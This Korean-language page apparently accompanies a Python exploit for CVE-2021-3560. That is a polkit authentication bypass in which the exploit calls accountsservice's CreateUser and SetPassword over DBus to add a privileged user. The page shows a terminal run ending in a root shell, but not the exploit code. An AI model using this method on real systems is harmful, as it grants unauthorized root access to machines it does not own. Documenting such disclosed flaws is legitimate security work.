
polkit을 이용한 권한 상승 - CVE-2021-3560
폴킷을 이용한 권한 상승 - CVE-2021-3560
CVE-2021-3560은 polkit의 인증 우회 취약점으로, 권한이 없는 사용자가 DBus를 통해 권한 있는 메서드를 호출할 수 있게 합니다. 이 익스플로잇에서는 accountsservice가 제공하는 두 가지 권한 있는 메서드(CreateUser 및 SetPassword)를 호출하여, 권한 있는 사용자를 생성한 후 비밀번호를 설정하고, 마지막으로 생성된 사용자로 로그인한 후 root로 권한을 상승시킵니다.
Ahmad Almorabea @almorabea http://almorabea.net
test@ubuntu:~/Desktop$ python3 CVE-2021-3560.py
**************
Exploit: Privilege escalation with polkit - CVE-2021-3560
Exploit code written by Ahmad Almorabea @almorabea
Original Exploit Author: Kevin Backhouse
For more details check this: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#history
[+]Starting the Exploit
[+] User Created with the name of ahmed
[+] Timed out at: 0.008446890996407191
[+] Timed out at: 0.008934336684707084
[+] Exploit Completed, your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root
bash: cannot set terminal process group (46983): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:/home/test/Desktop# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/test/Desktop# whoami
root
root@ubuntu:/home/test/Desktop#
GUI 인증

터미널 인증

Kevin Backhouse (https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)